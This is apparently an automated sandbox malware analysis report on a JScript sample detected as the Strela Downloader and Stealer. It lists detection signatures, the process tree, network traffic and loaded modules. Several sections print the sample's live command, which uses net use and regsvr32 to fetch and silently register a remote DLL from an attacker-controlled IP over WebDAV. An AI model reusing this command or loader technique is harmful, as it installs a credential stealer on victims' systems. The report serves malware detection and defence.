Edit tour

Windows Analysis Report
126484723232027823.js

Overview

General Information

Sample name:	126484723232027823.js
Analysis ID:	1576785
MD5:	09024cb4c452f96fe5b6045e198092ba
SHA1:	53f924039e79576a5b2e9b90e3c11c1116e933eb
SHA256:	0ff304716b215d4fadbf9fee1be5d717c454a09f6bdbe6e42e29995d969964e8
Tags:	jsStrelaStealeruser-lowmal3
Infos:

Detection

Strela Downloader, Strela Stealer

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Yara detected Strela Downloader

Yara detected Strela Stealer

Gathers information about network shares

Opens network shares

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: WScript or CScript Dropper

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Found WSH timer for Javascript or VBS script (likely evasive script)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Program does not show much activity (idle)

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3144 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3876 cmdline: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1088 cmdline: cmd /c net use \\193.143.1.231@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4832 cmdline: net use \\193.143.1.231@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cmd.exe (PID: 6768 cmdline: cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

regsvr32.exe (PID: 3144 cmdline: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.2271164628.00007FF8B7E10000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: wscript.exe PID: 3144	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security
Process Memory Space: regsvr32.exe PID: 3144	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.regsvr32.exe.7ff8b7e00000.0.unpack	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_3144.amsi.csv	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\regsvr32.exe, SourceProcessId: 3144, StartAddress: 24BBDB0, TargetImage: C:\Windows\System32\wscript.exe, TargetProcessId: 3144

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", ProcessId: 3144, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.231, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4832, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3144, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, ProcessId: 3876, ProcessName: cmd.exe

Sigma detected: Scripting/CommandLine Process Spawned Regsvr32

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6768, ParentProcessName: cmd.exe, ProcessCommandLine: regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll, ProcessId: 3144, ProcessName: regsvr32.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js", ProcessId: 3144, ProcessName: wscript.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.231@8888\davwwwroot\, CommandLine: net use \\193.143.1.231@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.231@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1088, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.231@8888\davwwwroot\, ProcessId: 4832, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.231@8888\davwwwroot\, CommandLine: net use \\193.143.1.231@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.231@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1088, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.231@8888\davwwwroot\, ProcessId: 4832, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49709

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 193.143.1.231:8888

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Tue, 17 Dec 2024 14:11:14 GMTContent-Type: application/octet-streamContent-Length: 418816Connection: keep-aliveAccept-Ranges: bytesEtag: "1811fc31dcbf3e9066400"Last-Modified: Tue, 17 Dec 2024 14:10:22 GMTData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 04 00 19 51 61 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 00 00 d2 00 00 00 8e 05 00 00 00 00 00 f0 12 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 04 00 00 00 00 00 00 02 00 60 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 f0 00 00 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 11 d1 00 00 00 10 00 00 00 d2 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 00 00 00 00 f0 00 00 00 02 00 00 00 d6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 84 88 05 00 00 00 01 00 00 8a 05 00 00 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 18 00 00 00 00 90 06 00 00 02 00 00 00 62 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231

Source: global traffic

HTTP traffic detected: GET /140341625623863.dll HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045translate: fHost: 193.143.1.231:8888

Source: net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231/
Source: net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231/0I
Source: net.exe, 00000005.00000002.2185942636.00000130183A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231/bcf3ed6d7050e4
Source: net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231/dI
Source: net.exe, 00000005.00000002.2185942636.0000013018368000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match	File source: amsi64_3144.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 3144, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024B9A30	11_2_024B9A30
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024BBDB0	11_2_024BBDB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024EDA00	11_2_024EDA00
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024F2B28	11_2_024F2B28
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024E6F30	11_2_024E6F30
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024EA391	11_2_024EA391
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024F98E8	11_2_024F98E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024F29A4	11_2_024F29A4

Source: 126484723232027823.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal88.rans.troj.spyw.evad.winJS@12/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5688:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\126484723232027823.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("cmd /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s", "0", "false")

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll

Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024FEEFE push ecx; retf 003Fh		11_2_024FEF5E
